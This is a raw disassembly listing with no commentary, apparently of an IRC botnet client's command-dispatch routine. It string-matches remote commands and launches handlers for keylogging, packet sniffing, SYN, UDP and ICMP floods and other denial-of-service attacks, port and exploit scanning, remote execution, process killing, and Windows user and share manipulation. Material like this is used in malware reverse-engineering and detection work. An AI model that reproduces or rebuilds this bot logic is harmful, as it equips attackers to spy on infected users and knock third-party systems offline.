push offset aDns ; "dns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409407
push edi
push offset aDn ; "dn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409407
push edi
push offset aKillproc ; "killproc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4093D7
push edi
push offset aKp ; "kp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4093D7
push edi
push offset aKill ; "kill"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409378
push edi
push offset aKi ; "ki"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409378
push edi
push offset aDelete ; "delete"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40933C
push edi
push offset aDel ; "del"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40933C
push edi
push offset aGet ; "get"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40925D
push edi
push offset aGt ; "gt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40925D
push edi
push offset aList ; "list"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40923B
push edi
push offset aLi ; "li"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40923B
push edi
push offset aVisit ; "visit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409147
push edi
push offset aV ; "v"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409147
push edi
push offset aMirccmd ; "mirccmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409110
push edi
push offset aMirc ; "mirc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409110
push edi
push offset aCmd ; "cmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4090A6
push edi
push offset aCm ; "cm"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4090A6
push edi
push offset aReadfile ; "readfile"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409029
push edi
push offset aRf ; "rf"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409029
push edi
push offset aPsniff ; "psniff"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405C7C
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405C42
push 20h
call sub_40B33F
test eax, eax
pop ecx
jle short loc_405B6C
push offset dword_42B94C
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405B6C: ; CODE XREF: sub_401ACD+4093j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC4], eax
mov eax, [ebp+var_4]
mov [ebp+var_E3C], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E38], eax
jnz short loc_405BAE
mov esi, offset aF_1 ; "#f"
push offset dword_43D808
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405BAE
mov esi, [ebp+var_88]
loc_405BAE: ; CODE XREF: sub_401ACD+40C3j
; sub_401ACD+40D9j
push esi
lea eax, [ebp+var_EC0]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B91C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 20h
push eax
call sub_40B0F7
add esp, 14h
mov [ebp+var_E40], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC4]
push ebx
push eax
push offset word_411FD6
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_E40]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_405C31
loc_405C1B: ; CODE XREF: sub_401ACD+4162j
cmp [ebp+var_E34], ebx
jnz loc_40828C
push 32h
call near ptr 2680000h
nop
jmp short loc_405C1B
; ---------------------------------------------------------------------------
loc_405C31: ; CODE XREF: sub_401ACD+414Cj
call near ptr 2680ABEh
nop
push eax
push offset dword_42B8E0
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405C42: ; CODE XREF: sub_401ACD+4083j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828C
push ebx
push 20h
call sub_40B2F2
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C72
push eax
push offset dword_42B8A4
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405C72: ; CODE XREF: sub_401ACD+4198j
push offset dword_42B878
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405C7C: ; CODE XREF: sub_401ACD+406Cj
push edi
push offset aSniffer ; "sniffer"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405DCE
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405D94
push 21h
call sub_40B33F
test eax, eax
pop ecx
jle short loc_405CBE
push offset unk_42B850
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405CBE: ; CODE XREF: sub_401ACD+41E5j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_FEC], eax
mov eax, [ebp+var_4]
mov [ebp+var_F64], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_F60], eax
jnz short loc_405D00
mov esi, offset aF_1 ; "#f"
push offset dword_43D808
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405D00
mov esi, [ebp+var_88]
loc_405D00: ; CODE XREF: sub_401ACD+4215j
; sub_401ACD+422Bj
push esi
lea eax, [ebp+var_FE8]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset unk_42B820
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 21h
push eax
call sub_40B0F7
add esp, 14h
mov [ebp+var_F68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FEC]
push ebx
push eax
push offset sub_412661
push ebx
push ebx
call near ptr 2680098h
nop
mov ecx, [ebp+var_F68]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_405D83
loc_405D6D: ; CODE XREF: sub_401ACD+42B4j
cmp [ebp+var_F5C], ebx
jnz loc_40828C
push 32h
nop
call near ptr 2680000h
jmp short loc_405D6D
; ---------------------------------------------------------------------------
loc_405D83: ; CODE XREF: sub_401ACD+429Ej
nop
call near ptr 2680ABEh
push eax
push offset unk_42B7E4
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405D94: ; CODE XREF: sub_401ACD+41D5j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828C
push ebx
push 21h
call sub_40B2F2
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DC4
push eax
push offset unk_42B7A4
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405DC4: ; CODE XREF: sub_401ACD+42EAj
push offset unk_42B774
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405DCE: ; CODE XREF: sub_401ACD+41BEj
push edi
push offset aIdent ; "ident"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405EA3
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405E69
push 2
call sub_40B33F
test eax, eax
pop ecx
jle short loc_405E0C
push offset dword_42B74C
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405E0C: ; CODE XREF: sub_401ACD+4333j
lea eax, [ebp+var_2C4]
push offset dword_42B720
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 2
push eax
call sub_40B0F7
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset loc_4101FD
push ebx
push ebx
call near ptr 2680098h
nop
imul esi, 234h
cmp eax, ebx
mov dword_43E5A4[esi], eax
jnz loc_40828C
nop
call near ptr 2680ABEh
push eax
push offset dword_42B6EC
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405E69: ; CODE XREF: sub_401ACD+4327j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828C
push ebx
push 2
call sub_40B2F2
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405E99
push eax
push offset dword_42B6B4
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405E99: ; CODE XREF: sub_401ACD+43BFj
push offset dword_42B694
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405EA3: ; CODE XREF: sub_401ACD+4310j
push edi
push offset aKeylog ; "keylog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406020
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
mov edi, offset aFile ; "file"
test eax, eax
pop ecx
jz short loc_405F19
push [ebp+arg_10]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_405F19
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828C
push ebx
push 23h
call sub_40B2F2
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405F0F
push eax
push offset dword_42B648
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405F0F: ; CODE XREF: sub_401ACD+4435j
push offset dword_42B61C
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405F19: ; CODE XREF: sub_401ACD+4401j
; sub_401ACD+4410j
push 23h
call sub_40B33F
test eax, eax
pop ecx
jle short loc_405F2F
push offset dword_42B5FC
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405F2F: ; CODE XREF: sub_401ACD+4456j
mov eax, [ebp+arg_4]
push [ebp+arg_10]
mov [ebp+var_C5C], eax
mov eax, [ebp+var_4]
push edi
mov [ebp+var_BD4], eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405F5C
mov [ebp+var_BD0], 1
jmp short loc_405F65
; ---------------------------------------------------------------------------
loc_405F5C: ; CODE XREF: sub_401ACD+4481j
mov eax, [ebp+var_8]
mov [ebp+var_BD0], eax
loc_405F65: ; CODE XREF: sub_401ACD+448Dj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_405F8C
mov esi, offset aF_0 ; "#f"
push offset dword_43D808
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405F8C
mov esi, [ebp+var_88]
loc_405F8C: ; CODE XREF: sub_401ACD+44A1j
; sub_401ACD+44B7j
push esi
lea eax, [ebp+var_C54]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B5D8
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 23h
push eax
call sub_40B0F7
add esp, 14h
mov [ebp+var_C58], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C5C]
push ebx
push eax
push offset byte_411CF5
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_C58]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40600F
loc_405FF9: ; CODE XREF: sub_401ACD+4540j
cmp [ebp+var_BCC], ebx
jnz loc_40828C
push 32h
nop
call near ptr 2680000h
jmp short loc_405FF9
; ---------------------------------------------------------------------------
loc_40600F: ; CODE XREF: sub_401ACD+452Aj
nop
call near ptr 2680ABEh
push eax
push offset dword_42B59C
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_406020: ; CODE XREF: sub_401ACD+43E5j
push edi
push offset aNet ; "net"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406270
cmp dword_4CB724, ebx
jz short loc_40604F
cmp dword_4CB74C, ebx
jz short loc_40604F
push offset unk_42B560
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_40604F: ; CODE XREF: sub_401ACD+456Ej
; sub_401ACD+4576j
cmp [ebp+var_C], ebx
jz loc_406CDF
mov edi, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp edi, ebx
jz short loc_406074
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_406074: ; CODE XREF: sub_401ACD+4597j
push [ebp+arg_10]
push offset aStart ; "start"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060C1
cmp edi, ebx
jz short loc_406095
push [ebp+arg_0]
push 3
jmp loc_406127
; ---------------------------------------------------------------------------
loc_406095: ; CODE XREF: sub_401ACD+45BCj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41895C
add esp, 0Ch
test eax, eax
jz short loc_4060B7
push offset unk_42B534
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_4060B7: ; CODE XREF: sub_401ACD+45DEj
push offset unk_42B514
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_4060C1: ; CODE XREF: sub_401ACD+45B8j
push [ebp+arg_10]
push offset aStop ; "stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060DB
push [ebp+arg_0]
push 4
jmp short loc_406127
; ---------------------------------------------------------------------------
loc_4060DB: ; CODE XREF: sub_401ACD+4605j
push [ebp+arg_10]
push offset aPause ; "pause"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060F5
push [ebp+arg_0]
push 5
jmp short loc_406127
; ---------------------------------------------------------------------------
loc_4060F5: ; CODE XREF: sub_401ACD+461Fj
push [ebp+arg_10]
push offset aContinue ; "continue"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40610F
push [ebp+arg_0]
push 6
jmp short loc_406127
; ---------------------------------------------------------------------------
loc_40610F: ; CODE XREF: sub_401ACD+4639j
push [ebp+arg_10]
push offset aDelete ; "delete"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406139
push [ebp+arg_0]
push 1
loc_406127: ; CODE XREF: sub_401ACD+45C3j
; sub_401ACD+460Cj ...
call sub_4186C2
pop ecx
pop ecx
loc_40612E: ; CODE XREF: sub_401ACD+46A2j
; sub_401ACD+472Aj ...
push eax
push offset aS_1 ; "%s"
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_406139: ; CODE XREF: sub_401ACD+4653j
push [ebp+arg_10]
push offset aShare ; "share"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40619E
cmp edi, ebx
jz short loc_406171
cmp [ebp+var_8FC], bl
jz short loc_40615E
push ebx
push edi
push 1
jmp short loc_406167
; ---------------------------------------------------------------------------
loc_40615E: ; CODE XREF: sub_401ACD+4689j
push [ebp+esi+var_84]
push edi
push ebx
loc_406167: ; CODE XREF: sub_401ACD+468Fj
call sub_418A99
add esp, 0Ch
jmp short loc_40612E
; ---------------------------------------------------------------------------
loc_406171: ; CODE XREF: sub_401ACD+4681j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418C8F
add esp, 10h
test eax, eax
jz short loc_406194
push offset unk_42B4CC
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_406194: ; CODE XREF: sub_401ACD+46BBj
push offset unk_42B4AC
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_40619E: ; CODE XREF: sub_401ACD+467Dj
push [ebp+arg_10]
push offset aUser ; "user"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406229
cmp edi, ebx
jz short loc_4061FC
cmp [ebp+var_8FC], bl
jz short loc_4061CF
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push edi
push 1
jmp short loc_4061EF
; ---------------------------------------------------------------------------
loc_4061CF: ; CODE XREF: sub_401ACD+46EEj
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_4061EB
push esi
push edi
push ebx
jmp short loc_4061EF
; ---------------------------------------------------------------------------
loc_4061EB: ; CODE XREF: sub_401ACD+4717j
push ebx
push edi
push 2
loc_4061EF: ; CODE XREF: sub_401ACD+4700j
; sub_401ACD+471Cj
call sub_418DB0
add esp, 18h
jmp loc_40612E
; ---------------------------------------------------------------------------
loc_4061FC: ; CODE XREF: sub_401ACD+46E6j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4192E0
add esp, 10h
test eax, eax
jz short loc_40621F
push offset unk_42B48C
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_40621F: ; CODE XREF: sub_401ACD+4746j
push offset unk_42B46C
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_406229: ; CODE XREF: sub_401ACD+46E2j
push [ebp+arg_10]
push offset aSend ; "send"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406266
cmp edi, ebx
jz short loc_40625C
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419594
add esp, 10h
jmp loc_40612E
; ---------------------------------------------------------------------------
loc_40625C: ; CODE XREF: sub_401ACD+4771j
push offset unk_42B440
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_406266: ; CODE XREF: sub_401ACD+476Dj
push offset unk_42B424
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_406270: ; CODE XREF: sub_401ACD+4562j
push edi
push offset aCapture ; "capture"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408DFE
push edi
push offset aCap ; "cap"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408DFE
push edi
push offset aGethost ; "gethost"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408D0A
push edi
push offset aGh ; "gh"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408D0A
loc_4062C4: ; CODE XREF: sub_401ACD+3CBEj
; sub_401ACD+3CEDj ...
mov edi, [ebp+esi+var_88]
cmp edi, ebx
mov [ebp+arg_1C], edi
jz loc_401E94
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CF0
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CF0
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CAD
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CAD
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408C58
push [ebp+arg_8]
push offset dword_42BBFC
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408C58
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408BEB
push [ebp+arg_8]
push offset aA ; "a"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408BEB
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B87
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B87
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B4B
push [ebp+arg_8]
push offset aM ; "m"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B4B
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408ADC
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408ADC
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408A56
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408A56
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089E6
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089E6
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089C0
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089C0
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40895C
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40895C
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408887
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408887
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40878C
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40878C
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408688
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408688
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085E9
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085E9
push [ebp+arg_8]
push offset aJpDe10 ; "jp]de10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408458
push [ebp+arg_8]
push offset aJp10 ; "jp]10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408458
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4083C5
push [ebp+arg_8]
push offset aE ; "e"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4083C5
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4082B6
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4082B6
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40823F
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40823F
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408142
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408142
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401E94
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40805A
push [ebp+arg_8]
push offset aC ; "c"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40805A
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F61
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F61
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F61
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4067D7
push 7Fh
lea eax, [ebp+var_327C]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_31FC]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_317C]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_30FC]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3074], eax
push ebx
lea eax, [ebp+var_2C4]
push 13h
push eax
mov [ebp+var_3078], edi
mov [ebp+var_3280], esi
call sub_40B0F7
add esp, 3Ch
mov [ebp+var_307C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3280]
push ebx
push eax
push offset byte_4146CF
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_307C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4067C6
loc_4067B0: ; CODE XREF: sub_401ACD+4CF7j
cmp [ebp+var_3070], ebx
jnz loc_403DA1
push 32h
nop
call near ptr 2680000h
jmp short loc_4067B0
; ---------------------------------------------------------------------------
loc_4067C6: ; CODE XREF: sub_401ACD+4CE1j
nop
call near ptr 2680ABEh
push eax
push offset unk_42B298
jmp loc_403D92
; ---------------------------------------------------------------------------
loc_4067D7: ; CODE XREF: sub_401ACD+4C37j
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407E79
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407E79
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406904
push 7Fh
lea eax, [ebp+var_36A4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3624]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_35A4]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3524]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A0], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_349C], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_36A8], esi
push [ebp+arg_10]
push offset dword_42B250
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 10h
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_34A4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36A8]
push ebx
push eax
push offset byte_413627
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_34A4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4068F3
loc_4068DD: ; CODE XREF: sub_401ACD+4E24j
cmp [ebp+var_3498], ebx
jnz loc_407279
push 32h
nop
call near ptr 2680000h
jmp short loc_4068DD
; ---------------------------------------------------------------------------
loc_4068F3: ; CODE XREF: sub_401ACD+4E0Ej
call near ptr 2680ABEh
nop
push eax
push offset dword_42B214
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_406904: ; CODE XREF: sub_401ACD+4D49j
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407D91
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407D91
push [ebp+arg_8]
push offset aJpldg10 ; "jpldg10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407C53
push [ebp+arg_8]
push offset aJpl10 ; "jpl10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407C53
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407B56
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407B56
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407A63
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407A63
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40795E
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40795E
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407866
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407866
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401E94
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407760
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407760
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407299
push [ebp+arg_8]
push offset aAdv ; "adv"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407299
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407150
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407150
push [ebp+arg_8]
push offset aU ; "u"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407150
push [ebp+arg_8]
push offset aNetsend ; "netsend"
call sub_41C070
pop ecx
test eax, eax
pop ecx
